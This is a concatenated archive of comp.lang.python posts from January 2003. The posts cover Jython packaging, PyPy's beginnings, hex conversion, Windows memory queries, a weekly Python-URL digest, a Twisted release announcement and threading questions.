>>works in jython (but doesn't do much ;-) ). However, when built with:
>>jythonc -c --jar a.jar <filename>
>>and then run, it cannot find a parser (SAXReaderNotAvailable: No parsers
>>found).
> 
> 
> I don't know about xml.sax, but when the parsers are not loaded
> by name, but eg. by using __import__() jythonc cannot know the
> name of the parser module, so it cannot include it in it's output.
> When that is the case, the solution is to import the module
> explicitly somewhere in your program, so jythonc knows that it
> should be included.
> In your case, that would mean explicitly importing any parser
> that your program my need.
> 
> Regards,
> Ype
> 

thanks Ype,
unfortunately, my last post was much shorter than intended (frustration 
at 2 yr old mozilla bug). I have imported the driver directly, but that 
then bombs out on some unicode stuff in characters.py. I was wondering 
if anyone had got the set of magic imports that makes this work - I got 
fed up with tracing it back by hand. (I don't know the environment too 
well.)

Tim




From andy at eastonwest.co.uk  Thu Jan  2 21:03:19 2003
From: andy at eastonwest.co.uk (andy)
Date: Fri, 3 Jan 2003 02:03:19 +0000
Subject: HELP! Must choose language!
In-Reply-To: <5.1.0.14.0.20030102213348.00bd8fc0@mail.softhome.net>
References: <5.1.0.14.0.20030102213348.00bd8fc0@mail.softhome.net>
Message-ID: <200301030203.19962.andy@eastonwest.co.uk>

I've used LOADS of languages in my time...

I started with BASIC, which at that time screwed my head up... I was 13 at the 
time.  I hated it, in fact, it nearly put me off computers completely.  But 
that was 22 years ago... (ouch - makes me feel REALLY old!)

"Languages" I've played with (seriously or otherwise)...

Assembly code(various), BASIC(loads), C, COBOL, dBase, FORTH, Linux/Unix shell 
scripting, Logo, Modula-2, MS-DOS Batch-script, Oberon, Pascal, PL/1

For me Python has been the fastest to learn and get productive with.  I'm 
teaching my 7-year old daughter to use the 'turtle' module for simple 
graphics, as an intro...  she's picking it up fine, too.

For purity, IMHO you can't beat Oberon (check google).  Being a purist's 
language, it's got a bit of a steep learning curve, even from its forebears 
(i.e. Pascal or Modula).

The worst languages, IMHO are the C variants, as they seem to make an art out 
of translating bit-rot into executable code (Purely *MY* opinion).  I feel 
they teach you bad habits and that what you really learn is how to look 
clever, not BE clever.

You can do loads of really cool stuff in Python, and still read (and 
understand) it after 2 months or more, too!

So far, no task I've attempted with Python has lead me down a blind alley.  
It's my current favourite (not likely to change for a quite while either)...


-andyj






From gleki at gol.ge  Thu Jan 23 04:12:32 2003
From: gleki at gol.ge (Giorgi Lekishvili)
Date: Thu, 23 Jan 2003 10:12:32 +0100
Subject: web-hosted python
Message-ID: <3E2FB200.37D48DF0@gol.ge>

Hi all!
It happened so that a friend of mine is starting his own business:
communications company providing, among others, web-hosting.
Of course, I asked him to keep python and allow its use along with perl.

I have the two questions to this community:
1. What you think is needed for a comfortable use of python as a
web-development tool? My suggestions were:
- mod_python;
- PIL;
- Mysqldb.
2. Hence the second question. He is refusing to keep mod_python saying
something about its law efficiency.
The service has not been started yet, so I may influence on making it
more python-friendly.
I shall be much obliged to you all, if you find time to provide me with
more profound argumentation regarding the topics outlined above.
All at all, we shall all benefit from another fully featured python
friendly web ?hosting provider.
GRTZ,
Giorgi





From grayrest at grayrest.com  Tue Jan 28 15:26:35 2003
From: grayrest at grayrest.com (grayrest)
Date: Tue, 28 Jan 2003 15:26:35 -0500
Subject: Hacking Heaven - Leo+XEmacs Integrated
In-Reply-To: <93rZ9.51593$F63.1103117@news.xtra.co.nz>
References: <93rZ9.51593$F63.1103117@news.xtra.co.nz>
Message-ID: <b16p5e$oj6$1@news-int.gatech.edu>

Aum wrote:
> Try out this combo - you might just love it.

I thought that leo looked extremely cool when I checked it out a couple 
months ago, but I love Vim so didn't really use it much. Any word for a 
similar integration for my favorite editor?

-- 
grayrest
http://grayrest.com/moz




From tebeka at cs.bgu.ac.il  Sun Jan 26 02:50:48 2003
From: tebeka at cs.bgu.ac.il (Miki Tebeka)
Date: 25 Jan 2003 23:50:48 -0800
Subject: Help: More speedup needed
References: <33803989.0301220109.232a00d8@posting.google.com> <6IHX9.30334$Li7.5578955@twister.nyroc.rr.com>
Message-ID: <33803989.0301252350.609897e9@posting.google.com>

Hello Darrell,

> Use the profiler.
>         import profile
> Find your hot spots, then if your stuck post them as smaller examples.
Thanks but I already did use the profiler. Most of the time is spent
in 'incontext' in score.py.
Trying to isolate it and explaining the isolated code is very much
like handing the whole of the code (around 400 lines of code in the
relevant files). So I chose the lazy option :-)

Miki
tebeka at cs.bgu.ac.il



From yanarkana at yahoo.fr  Tue Jan 21 04:14:58 2003
From: yanarkana at yahoo.fr (Arkana)
Date: 21 Jan 2003 01:14:58 -0800
Subject: Mutual information ?
Message-ID: <199f365a.0301210114.55b6fa54@posting.google.com>

i'm looking for python modules which could facilitate computation of
"mutual information" ? does anyone know projects in python
involving/using MI ? is there a starting point for such related topics
?

thanks.



From tismer at tismer.com  Sun Jan 12 17:02:32 2003
From: tismer at tismer.com (Christian Tismer)
Date: Sun, 12 Jan 2003 23:02:32 +0100
Subject: [ann] Minimal Python project
In-Reply-To: <7x8yxqduco.fsf@ruckus.brouhaha.com>
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <7xr8bjgz4x.fsf@ruckus.brouhaha.com> <mailman.1042326208.15022.python-list@python.org> <7x4r8ej1r9.fsf@ruckus.brouhaha.com> <mailman.1042393464.20506.python-list@python.org> <7x8yxqduco.fsf@ruckus.brouhaha.com>
Message-ID: <3E21E5F8.1050201@tismer.com>

Just a partial answer to this one :)

Paul Rubin wrote:
> Christian Tismer <tismer at tismer.com> writes:
> 
>>Opcode dispatch is expensive, so I have to create effective opcodes
>>with direct parameter access.  But maybe you're right and it
>>shouldn't be MMIX.
> 
> 
> I remember seeing a paper once about OpenGenera which was a
> proprietary (not "open" despite its name) program to run Symbolics
> Genera programs on the DEC Alpha by simulating the Lisp machine
> instruction set.  It basically said they found that by making the
> simulation's interpreter loop and register set small enough to fit in
> the Alpha's primary caches it ran as fast as they'd expect microcode
> to run.  

I agree. With a real engine like an Alpha.

My target physical engine is clearly the
whole set of X86's which are dominating
the world (still).
I've written several small intepreters in C,
also tried to make some fast Forth interpreter,
and always found that the X86 doesn't have
enough registers to make a fast, interpreted
stack engine.
Whenever you try to get the C compiler to keep
your vital variables in registers, then you have
nearly nothing left to work with.
Maybe I could have optimized towards the primary
cache, I never did this.
By creating a register machine, I might have the
chance to get the register file into that cache,
and to have the interpreter loop variables in
registers, still.

Of course, programming a stack engine by hand is
much easier. But I'm not going to write assembly
code by hand. That's why I like Python - it will
do all the register spilling stuff for me.
I can access this engine from a very high level
and create efficient code.
(will stop this of course, when Armin is ready to
take over).

(answering the second part later)

ciao - chris
-- 
Christian Tismer             :^)   <mailto:tismer at tismer.com>
Mission Impossible 5oftware  :     Have a break! Take a ride on Python's
Johannes-Niemeyer-Weg 9a     :    *Starship* http://starship.python.net/
14109 Berlin                 :     PGP key -> http://wwwkeys.pgp.net/
work +49 30 89 09 53 34  home +49 30 802 86 56  pager +49 173 24 18 776
PGP 0x57F3BF04       9064 F4E1 D754 C2FF 1619  305B C09C 5A3B 57F3 BF04
      whom do you want to sponsor today?   http://www.stackless.com/






From sholden at holdenweb.com  Wed Jan 29 11:00:06 2003
From: sholden at holdenweb.com (Steve Holden)
Date: Wed, 29 Jan 2003 16:00:06 GMT
Subject: patching of python: tabs make me seek of python
References: <f210c9f3.0301281143.22c01152@posting.google.com>
Message-ID: <aUSZ9.44931$Vh.26455@news2.central.cox.net>

"Andrei Smirnov" <asmirnov at asmirnov.com> wrote in message
news:f210c9f3.0301281143.22c01152 at posting.google.com...
> hi
>
> i'm in python project. python is very good despite some problems with
threads
> but still very usefull (especially with swig).
> i'm using python with pleasure until i have to deal with tabs.
>
> it is about 4 people here who's doing development. nobody cares about
design
> yet, we don't know what we are doing :) it's okay, we are in good shape
for now.
> however i found that it is extremly difficult to work with somebody else
code
> and repackage my own code into classes. tabs always find the way out of
control.
> moreover, my favorite emacs keys to locate block boundaries doesn't work,
too bad.
>
> all that make me think that somebody already has THE PATCH to treat curly
braces
> as old c++ programmer would expect. it could be just a cmd line switch to
python.
>
> if nobody has it someday i might try to do that. any legal objections from
python
> maintainers regarding of distribution of that?
>
> please, don't try to convince me that tabs are good: i'm too lazy to even
think
> about it. i just want curly braces.
>

Please don't try to convince me you need any help: I'm too lazy to even
think about helping.

regards
--
Steve Holden                                  http://www.holdenweb.com/
Python Web Programming                 http://pydish.holdenweb.com/pwp/
Bring your musical instrument to PyCon!    http://www.python.org/pycon/






From phr-n2002b at NOSPAMnightsong.com  Sat Jan 11 18:39:42 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 11 Jan 2003 15:39:42 -0800
Subject: [ann] Minimal Python project
References: <mailman.1042209749.31180.python-list@python.org> <FOIT9.121090$Hs2.11398609@kent.svc.tds.net> <3E2058FA.F676DCFC@engcorp.com> <SrZT9.121191$Hs2.11493220@kent.svc.tds.net> <v2111cf3gg193a@news.supernews.com> <HlGdnUonb9-FB72jXTWcoQ@comcast.com> <mailman.1042325780.6288.python-list@python.org>
Message-ID: <7xsmvzw91d.fsf@ruckus.brouhaha.com>

Christian Tismer <tismer at tismer.de> writes:
> I am very convinced that this project is able to lead to a Python
> implementation that has a smaller code base with a minimum of C
> code, and that runs faster than CPython.  And it will be Stackless
> by nature.  I don't claim that this will be the result of a single
> sprint. But this is my goal.

I don't doubt that it's possible.  That's not meant as any kind of
slight on the CPython implementers, but it's there are always great
benefits to doing something a second time around.  

In my dreams we'd have a completely self-hosted Python implementation
that compiles to native code on the fly, sort of like the Yale T system.




From yaipa at yahoo.com  Thu Jan  2 14:24:14 2003
From: yaipa at yahoo.com (yaipa h.)
Date: 2 Jan 2003 11:24:14 -0800
Subject: Equivalent to chr(eval(self.myhex)) without using eval?
References: <mailman.1040243490.26231.python-list@python.org> <v01u3f2vc84k80@corp.supernews.com>
Message-ID: <6e07b825.0301021124.4d53f211@posting.google.com>

Well with that said, no one covered using the 'print' method of
base conversion.  Which works well, but looks very Perlish. ;^)

Converting between decimal(string|char|int) to String(dec|hex|oct),
binary and binary(dec|hex) should be part of the core language
as a unified model and not bits and pieces of various modules.  
The way it stands right now, everything works so well in Python
and then you come upon having to move between various types of 
bin/dec/oct/hex and boom, the language just turns kludgy. 
Whoops did I say that. ;-)

There is a lot of hardware code out there written in some version
of BASIC that would really enjoy an obvious way to convert a standard
python type to the equivalent BASIC format seen here 

    (STX$ = CHR$(&H2)).

After many tries, being a die-hard python fan, I settled in using
the print method to do the conversion. Using the print method this
way would be a syntax error in MOST any other language, so it is NOT
obvious by any measure.  Someone new to the language would have 
said, 'screw it' and gone home.

Cameron, BTW you are amazing. How many comp.lang.* groups are you
active on?

Regards of the best kind and thanks for keeping us all honest. Truly.

Alan Haffner



claird at lairds.com (Cameron Laird) wrote in message news:<v01u3f2vc84k80 at corp.supernews.com>...
> In article <mailman.1040243490.26231.python-list at python.org>,
> Tim Peters <tim at zope.com> wrote:
> >[Jeff Kowalczyk]
> >> I have a class instance attribute which is a string representation of a
> >> hex value. I need to get the chr() character back.
>  
> >>>> ashex = '2a'
> >>>> chr(eval('0x' + ashex))
>  '*'
> >>>> chr(int(ashex, 16))
>  '*'
> >>>> import binascii
> >>>> binascii.unhexlify(ashex)
>  '*'
> >>>>
> >
> 
> Python:  the language which offers more than one wizardly way
> to do something.



From theller at python.net  Thu Jan 30 07:35:02 2003
From: theller at python.net (Thomas Heller)
Date: 30 Jan 2003 13:35:02 +0100
Subject: biggles on windows
References: <b19s8i$11fvme$1@hades.rz.uni-sb.de> <291h3v8h8dm4mdncjvu62emj3fs4breigg@4ax.com> <b1arn0$11ld4e$1@hades.rz.uni-sb.de>
Message-ID: <d6mebytl.fsf@python.net>

Uwe Schmitt <uwe.schmitt at procoders.net> writes:

> Kyle Yancey <kyle at lakeofburningfire.org> wrote:
> > Doh.  I missed the part where you said you used activestate.  I'm
> > an idiot. Ignore the comment above.
> 
> Maybe your comment is useful: there was a post in the biggles
> mailing list today, saying the installer requires python 2.1, not
> 2.2. maybe the installer works, if I manipulate the registry key
> concerning the python version.  But that is a dirty hack. I'd really
> be interested in a new version, but biggles is updatetd quite
> seldom, although biggles makes the nicest plots I've seen among the
> plotting packages for python...

Apparently the biggles windows installer is built with an old version
(for some definition of 'old') of distutils. Newer distutils versions
would at least display a message saying something like "This package
requires Pythno 2.1 which was not found on this machine".

You could probablly hack your registry to pretend it is there,
but that wouldn't really help you: packages containing extension
modules (.pyd's) only work for the Python version they were build
with.

> 
> So I'll have to build biggles from scratch...

That is always an option.

Thomas



From plehmann at fred.net  Wed Jan  1 00:33:45 2003
From: plehmann at fred.net (Paul E. Lehmann)
Date: Wed, 1 Jan 2003 00:33:45 -0500
Subject: IDLE on Windows and Linux
References: <3E11AB3F.5090108@aon.at>
Message-ID: <35vQ9.47$VY3.32078@news.abs.net>

"Oliver Vecernik" <vecernik at aon.at> wrote in message
news:3E11AB3F.5090108 at aon.at...
> Hi!
>
> If I write some python code with IDLE on Windows files are saved with
> CR/LF. If I open them on Linux I can see the \r on every line and I
> cannot execute such files directly.
>
> Is there a simple solution for this?
>
> The second question is concerning key bindings. Is it possible to change
> them for Windows to the same bindings as for Linux?
>
> Best Regards,
> Oliver
>
You can use EditPad Lite - a free Windows editor - to convert to unix or
vice versa.

http://www.editpadpro.com/editpadclassic.html





From daniel at dittmar.net  Sat Jan 18 19:01:58 2003
From: daniel at dittmar.net (Daniel Dittmar)
Date: Sun, 19 Jan 2003 01:01:58 +0100
Subject: Coding standard: Prefixing variables to indicate datatype
In-Reply-To: <sh2dnT66cMuoQrSjXTWcrg@comcast.com>
References: <0BuV9.11459$CG6.203654@news4.e.nsc.no> <3E267821.5030209@mxm.dk> <gXuV9.11465$CG6.203610@news4.e.nsc.no> <pan.2003.01.16.09.42.41.751206@webone.com.au> <c76ff6fc.0301161331.27350f1a@posting.google.com> <JTNV9.14383$Dq.1421728@newsread2.prod.itd.earthlink.net> <pan.2003.01.17.09.34.53.724229@webone.com.au> <tlSdnV4T_spIoLWjXTWcqg@comcast.com> <3E28D273.13497D3E@alcyone.com> <b0bvlg$rs9$1@news.eusc.inter.net> <sh2dnT66cMuoQrSjXTWcrg@comcast.com>
Message-ID: <b0cptv$857$1@news.eusc.inter.net>

Terry Reedy wrote:
> "Daniel Dittmar" <daniel at dittmar.net> wrote in message
> 
>>Now that there are class methods, there's no longer the need to force
>>this into a instance method call. str.join (somelist [, joinstring])
>>does the job just fine.
> 
> Nope.
> str.join is *not* a class method.  (If it were, joiner.join(seq) would
> not work!).  While not identified as 'unbound', it acts like a normal
> instance methods.  So you have the parameter order backwards.

I meant it *should* be a class method with str being the class, join 
being the method and somelist and joinstring being the arguments. I was 
opposing the idea that there are only the alternatives somelist.join 
(joinstring) and joinstring.join (list). But of course if 
joinstring.join (somelist) is intuitive.

Daniel





From max at alcyone.com  Mon Jan 13 07:37:03 2003
From: max at alcyone.com (Erik Max Francis)
Date: Mon, 13 Jan 2003 12:37:03 -0000
Subject: Dr. Dobb's Python-URL! - weekly Python news and links (Jan 13)
Message-ID: <v25cnf22nep4a2@corp.supernews.com>




>From db3l at fitlinxx.com Mon Jan  6 14:45:55 EST 2003
"Simon Bunker" <simon at rendermania.com> writes:

> by RAM usage I mean total free memory - eg what free gives you under Linux.
> Unix/Linux isn't really the problem, but Windows is as I don't know any
> win32 programming.

As others have pointed out, there are a lot of variables in terms of
just what you want to report in terms of memory usage.  But if you
want values that are basically what the Windows Task Manager (at least
under NT/2K/XP - but the API is documented for the 9x series too)
reports, you can use the GlobalMemoryStatus Win32 API function (see
MSDN for the API definition).  I believe it still remains unwrapped by
the win32all package, but here's some example code accessing it with
the available calldll module.  I'm sure you could also use you can
access it with the available ctypes module (and perhaps more simply),
but that didn't exist when I originally wrote this code.

          - - - - - - - - - - - - - - - - - - - - - - - - -
    import calldll, struct

    result   = {}
    kernel32 = calldll.load_library('kernel32')
    memstat  = calldll.get_proc_address(kernel32,'GlobalMemoryStatus')
    if memstat:
        buf = calldll.membuf(32)
        buf.write(struct.pack('1L',32))
        calldll.call_foreign_function(memstat,'l','',(buf.address(),))
        rtuple = struct.unpack('8L',buf.read())
        result['MemoryLoad']    = rtuple[1]   # [0] is len
        result['TotalPhys']     = rtuple[2]
        result['AvailPhys']     = rtuple[3]
        result['TotalPageFile'] = rtuple[4]
        result['AvailPageFile'] = rtuple[5]
        result['TotalVirtual']  = rtuple[6]
        result['AvailVirtual']  = rtuple[7]
    return result
          - - - - - - - - - - - - - - - - - - - - - - - - -

The memory load is in percentage - the other values are all bytes.
This API may not be accurate with more than 2GB of memory in a machine
(it rounds some values down to 2GB) and it will overflow at 4GB -
there's a GlobalMemoryStatusEx call that uses 64-bit return values if
you are worried about such cases, but that's unsupported on the Win 9x
series.

--
-- David
-- 
/-----------------------------------------------------------------------\
 \               David Bolen            \   E-mail: db3l at fitlinxx.com  /
  |             FitLinxx, Inc.            \  Phone: (203) 708-5192    |
 /  860 Canal Street, Stamford, CT  06902   \  Fax: (203) 316-5150     \
\-----------------------------------------------------------------------/







        http://artemis.ucsc-extension.edu/~wesc/013e44cd.htm





QOTW:  "Explicit is better than implicit ... especially if you have a
syntax-colouring text editor which highlights 'self' and 'this' ;)"
Tim Delaney

"They added object orientation to Perl?"  Nick Vargish

"I had a manager once who insisted that strict.pm [as in `use strict'
from Perl] was useless 'because it breaks all my programs.'"  Andrew Lee


Announcements
    Guido van Rossum warns of security problems found in rexec and
    Bastion starting with version 2.2; they will be disabled in the
    next 2.3 alpha release and users are actively discouraged from
    using them immediately:
        http://groups.google.com/groups?selm=mailman.1041875417.12807.clpa-moderators%40python.org


Discussion
    David Bolen exemplifies use of calldll for the specific problem
    of reporting memory usage.
	http://groups.google.com/groups?selm=u8yxydzw1.fsf%40fitlinxx.com

    A question about old-style errors involving Unicode strings
    instead of normal strings leads to a discussion about general
    "widening" issues (and the deprecation of raising strings):
        http://groups.google.com/groups?threadm=3e1d5c7b%241%40news.fhg.de

    Martin v. Loewis answers the question of when .pth files are
    needed:
        http://groups.google.com/groups?selm=avh9ql%245lk%2406%241%40news.t-online.com

    Mininal Python is a forming discussion group intent on creating a
    version of Python with a very small C core and most of the rest
    reimplemented in Python itself, including parts of the Python VM,
    suggesting possibilities for runtime/JIT optimization and
    implementations in restricted environments:
        http://groups.google.com/groups?threadm=mailman.1042398202.16333.python-list%40python.org
	http://codespeak.net/mailman/listinfo/pypy-dev

    Is it okay to use something other than `self' for the name of the
    self method argument?  See what Pythonistas think:
        http://groups.google.com/groups?threadm=3E210503.9A4F4AC8%40alcyone.com


Software
    zxSet and zxDateTime are Java/Jython implementations of the
    popular CPython sets (in the upcoming 2.3 release) and DateTime
    modules:
        http://sourceforge.net/projects/zxpy/

    Strip-o-Gram, an HTML conversion library, reaches 1.4 and includes
    Zope support:
        http://www.zope.org/Members/chrisw/StripOGram

    WebWare is a Python-oriented suite of software components for
    developing Web-based applications:
        http://webware.sourceforge.net/

    PAGE, at version 2.2b, is an automatic GUI generator for Python,
    which bears a resemblance to Visual Basic:
        http://page.sourceforge.net/

    Oak DNS Server is a Domain Name Server written in pure Python:
        http://www.digitallumber.com/oak

    PyGeo is a dynamic geometry laboratory requiring VPython:
        http://home.netcom.com/~ajs/    

    Zope reaches 2.6.0:
        http://www.zope.org/


Resources
    Patrick K. O'Brien has written a Python and DB2 tutorial (free
    registration required):
        https://www6.software.ibm.com/reg/devworks/dw-db2pylnx-i?S_TACT=102B7W91&S_CMP=DB2DD

    The Python 2.3 alpha development documentation has been updated
    again, including the updated optparse module documentation:
        http://www.python.org/dev/doc/devel/

    Holger Krekel, putting his money where is mouth is, implements a
    prototype "indendent execution protocol" for Python 2.2.2,
    allowing in effect implicit try-except-else-finally clauses around
    arbitrary blocks by constructing managing objects:
        http://codespeak.net/moin/moin.cgi/IndentedExecution

    Uche Ogbuji writes "Generating DOM Magic" for O'Reilly's xml.com,
    covering using generators in conjunction with XML DOM processing:
        http://www.xml.com/pub/a/2003/01/08/py-xml.html

    Michele Simionato has written an article outlining the new Python
    2.3 method resolution order (MRO):
        http://www.phyast.pitt.edu/~micheles/mro.html


Meetings and Calls For Papers
    Wesley Shun teaches a Python course in the Bay Area.
	http://artemis.ucsc-extension.edu/~wesc/013e44cd.htm

    The Sydney, Australia Python Interest Group is holding its
    January meeting a week early, on January 13 at 7:00 pm at the
    University of Technology Sydney:
        http://groups.google.com/groups?selm=mailman.1041873820.14410.clpa-moderators%40python.org

    The deadline for PyCon 2003 is looming; the submission deadline
    is January 2003, the final versions are due March 10:
        http://www.python.org/pycon/cfp.html

    Alan Runyan is the speaker of the month in the Third Austin Python
    Users Group Meeting:
        http://groups.google.com/groups?selm=mailman.1042235104.18359.clpa-moderators%40python.org


========================================================================

Everything you want is probably one or two clicks away in these pages:

    Python.org's Python Language Website is the traditional
    center of Pythonia
        http://www.python.org
    Notice especially the master FAQ
        http://www.python.org/doc/FAQ.html

    PythonWare complements the digest you're reading with the
    daily python url
         http://www.pythonware.com/daily  
    Mygale is a news-gathering webcrawler that specializes in (new)
    World-Wide Web articles related to Python.
         http://www.awaretek.com/nowak/mygale.html 
    While cosmetically similar, Mygale and the Daily Python-URL
    are utterly different in their technologies and generally in
    their results.

    comp.lang.python.announce announces new Python software.  Be
    sure to scan this newly-revitalized newsgroup at least weekly.
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python.announce

    Brett Cannon continues the marvelous tradition established by 
    Andrew Kuchling and Michael Hudson of summarizing action on the
    python-dev mailing list once every other week.
	http://www.python.org/dev/summary/
    Partial archives are at
        http://starship.python.net/crew/mwh/summaries/
        http://www.amk.ca/python/dev

    The Vaults of Parnassus ambitiously collect Python resources
        http://www.vex.net/~x/parnassus/   

    Much of Python's real work takes place on Special-Interest Group
    mailing lists
        http://www.python.org/sigs/

    The Python Business Forum "further[s] the interests of companies
    that base their business on ... Python."
	http://www.python-in-business.org

    The Python Software Foundation has replaced the Python Consortium
    as an independent nexus of activity
        http://www.python.org/psf/

    Cetus does much of the same
        http://www.cetus-links.org/oo_python.html

    Python FAQTS
        http://python.faqts.com/

    The old Python "To-Do List" now lives principally in a
    SourceForge reincarnation.
        http://sourceforge.net/tracker/?atid=355470&group_id=5470&func=browse
        http://python.sourceforge.net/peps/pep-0042.html
     
    The online Python Journal is posted at pythonjournal.cognizor.com.
    editor at pythonjournal.com and editor at pythonjournal.cognizor.com
    welcome submission of material that helps people's understanding
    of Python use, and offer Web presentation of your work.

    *Py: the Journal of the Python Language*
        http://www.pyzine.com

    Tenth International Python Conference 
        http://www.python10.org            

    Archive probing tricks of the trade:
        http://groups.google.com/groups?oi=djq&as_ugroup=comp.lang.python&num=100
        http://groups.google.com/groups?meta=site%3Dgroups%26group%3Dcomp.lang.python.*

Previous - (U)se the (R)esource, (L)uke! - messages are listed here:
  http://www.ddj.com/topics/pythonurl/         
  http://purl.org/thecliff/python/url.html (dormant)
or
  http://groups.google.com/groups?oi=djq&as_q=+Python-URL!&as_ugroup=comp.lang.python


Suggestions/corrections for next week's posting are always welcome.
E-mail to <Python-URL at phaseit.net> should get through.

To receive a new issue of this posting in e-mail each Monday morning
(approximately), ask <claird at phaseit.net> to subscribe.  Mention
"Python-URL!".


-- The Python-URL! Team--

Dr. Dobb's Journal (http://www.ddj.com) is pleased to participate in and
sponsor the "Python-URL!" project.




From phr-n2002b at NOSPAMnightsong.com  Wed Jan 15 04:08:39 2003
From: phr-n2002b at NOSPAMnightsong.com (Paul Rubin)
Date: 15 Jan 2003 01:08:39 -0800
Subject: passwords to CGI
References: <cb035744.0301140219.590608ae@posting.google.com> <7xbs2kt246.fsf@ruckus.brouhaha.com> <3E23F3DA.EB485C59@alcyone.com> <7x7kd83pmc.fsf@ruckus.brouhaha.com> <3E24C336.C51EDD2A@alcyone.com> <7xbs2jdtzm.fsf@ruckus.brouhaha.com> <cb035744.0301150028.3b584272@posting.google.com> <3E25202D.D32F5CEF@alcyone.com>
Message-ID: <7xr8bekcfc.fsf@ruckus.brouhaha.com>

Erik Max Francis <max at alcyone.com> writes:
> I've done similar things, and it's usually sufficient if you're not too
> worried about people compromising each other's accounts.  You should
> also include the remote host in generating the ID, so that someone can't
> sniff it remotely and then use it from another host (while the ID is
> still active). 

You can't count on the remote host staying the same between http hits,
even from the same client, because some proxy servers can switch IP
addresses out from under you beteen hits.  That happens with AOL
users, for example.



From itamar at itamarst.org  Wed Jan 29 11:32:32 2003
From: itamar at itamarst.org (Itamar Shtull-Trauring)
Date: Wed, 29 Jan 2003 11:32:32 -0500
Subject: ANN: Twisted 1.0.2, the framework of your Internet
Message-ID: <20030129113232.60297cf1.itamar@itamarst.org>

Twisted is an event-driven networking framework for server and client
applications. More detailed information can be found after the "What's
New" section.

For more information, visit http://www.twistedmatrix.com, join the list
http://twistedmatrix.com/cgi-bin/mailman/listinfo/twisted-python or
visit us on #twisted at irc.freenode.net.


What's New in 1.0.2
===================

- Serial port support.
- GPS (global positioning system), supporting NMEA 0183 and Rockwell
Zodiac devices.
- GTK2 event loop.
- Improved event scheduling support.
- Many new examples, including an example of Cocoa (Mac OS X)
integration.
- Fancy Win32 installer, with Start menu integration.
- Large number of improvements to the SSH server. In addition, Twisted
now ships with a command-line ssh client (conch), with same options as
openssh client. Also included is a Tk GUI ssh client, that does not
require a terminal emulator, and a program for generating ssh keys.
- Simplified HTTP client API, for fetching URLs.
- Dict protocol implementation (RFC 2229).
- Improvements to cReactor, a networking event loop implemented in C.
- Lenient mode for microdom, which allows parsing very non-standard
HTML, and many improvements to the DOM support.
- Trial, a unit testing framework, replaces use of Python's unittest.py.
The API is almost identical to Python's.
- Google querying support.
- Shoutcast protocol support.
- Client XML-RPC support.
- Many improvements to Twisted's DNS support, both client and server.
- Bug fixes, more tests and documentation.


What is Twisted?
================

Twisted is an event-driven framework for building networked clients and
servers.  It contains a powerful and simple networking core, a
full-featured suite of interoperable protocols, among them a powerful
web server and applications framework.

Twisted supports many event loops for both server apps and GUI
integration on the client side, including:

 - Win32 events, including GUI support
 - GTK+
 - GTK+ 2
 - Qt
 - wxPython
 - Tkinter
 - Java

Twisted can run protocols over TCP, SSL, UDP, multicast, Unix sockets
and subprocesses. It also includes scheduling support, threading
integration, RDBMS event loop integration and other basic requirements
for networked
applications.

Also included are implementations of many protocols. In some cases this
includes complete frameworks providing facilities on top of the base
protocol:

 - SSH
 - FTP
 - HTTP, including a complete web framework
 - XML-RPC
 - SOAP server framework
 - NNTP and complete NNTP server framework
 - SOCKSv4 (server only)
 - SMTP
 - IRC
 - telnet
 - POP3
 - AOL's instant messaging TOC
 - OSCAR, used by AOL-IM as well as ICQ (client only)
 - DNS
 - MouseMan serial mice, and GPS devices
 - Twisted Perspective Broker, a remote object protocol




From abelikov72 at hotmail.com  Tue Jan 21 00:32:42 2003
From: abelikov72 at hotmail.com (Afanasiy)
Date: Tue, 21 Jan 2003 05:32:42 GMT
Subject: Python web development, really
References: <j9bo2v0lo0qfngcfpqc3ooj0bo881lhuuh@4ax.com> <MgZW9.41168$Hl6.4924133@news010.worldonline.dk> <iugp2vs55csq6l9nv9l6ghqse4dfr6a0td@4ax.com> <7x8yxfyth4.fsf@ruckus.brouhaha.com>
Message-ID: <prmp2vs50hkl6k5uiecrecaa2hom28iqtk@4ax.com>

On 20 Jan 2003 21:14:47 -0800, Paul Rubin <phr-n2003b at NOSPAMnightsong.com>
wrote:

>Afanasiy <abelikov72 at hotmail.com> writes:
>> I was not aware Python required trade-offs involving memory or cpu use in
>> order to compete with PHP. In my experience Python is much much faster for
>> basic scripting. I hoped that speed could be put to use on a web platform.
>
>Benchmarks I've seen indicate PHP is considerably faster than Python.
>That's not too surprising, since PHP is a simpler language and doesn't
>have to do nearly so many dynamic lookups.

Benchmarks I've done indicate very much the opposite. Perhaps you saw
something for the zend optimizer, which I have not tested myself.

Anyway, it does look like PHP is in fact my best option overall.




From kibab at icehouse.net  Wed Jan  1 17:04:44 2003
From: kibab at icehouse.net (Kaleb Pederson)
Date: Wed, 1 Jan 2003 14:04:44 -0800
Subject: [PyKDE] pyqt/mysqld thread deadlock
In-Reply-To: <3E1360AE.3030909@v.loewis.de>
References: <200301010958.45042.kibab@icehouse.net> <200301011336.01085.kibab@icehouse.net> <3E1360AE.3030909@v.loewis.de>
Message-ID: <200301011404.46486.kibab@icehouse.net>

On Wednesday 01 January 2003 01:42 pm, Martin v. L?wis wrote:
> Kaleb Pederson wrote:
> > (gdb) thread 1
> > #0  0x4024b1be in select () from /lib/libc.so.6
>
> See the source of PyImport_ImportModuleEx. It acquires the import lock,
> so you are holding the import lock while QApplication_exec_loop is
> running. That means you deadlock.
>
> gem.src.gui.gui should not run the mainloop, but expose a function to
> run the mainloop, which the importer of gui should then invoke.
>
> Regards,
> Martin

It works beautifully!  Thank you for all the help.  It would have taken me a 
long time to figure that one out by myself.

--Kaleb




From peter at engcorp.com  Sun Jan 26 11:25:37 2003
From: peter at engcorp.com (Peter Hansen)
Date: Sun, 26 Jan 2003 11:25:37 -0500
Subject: Learning to use threads.
References: <0bFY9.9226$ZA1.2287565@twister.nyroc.rr.com> <mailman.1043539606.7602.python-list@python.org> <BtTY9.13607$7A4.2781037@twister.nyroc.rr.com>
Message-ID: <3E340C01.6C4E35B8@engcorp.com>

Grumfish wrote:
> 
> Thank you. A follow up question: is it safe to call a custom method of a
> running Thread?

Yes.  Or no, depending on what it does.

Presumably you are talking about calling a method defined in
a subclass of threading.Thread, from another thread...  if
that's the case, you have to understand that because this
method is being called from another thread of execution, you
might have to deal with synchronization issues, to make sure
you don't end up with data structures in an undefined state.

If you are trying to communicate with the running Thread
(which is of course not running at the instant you call it
because the thread from which you are calling it is the one
running :-), and you stick with the Queue object as your 
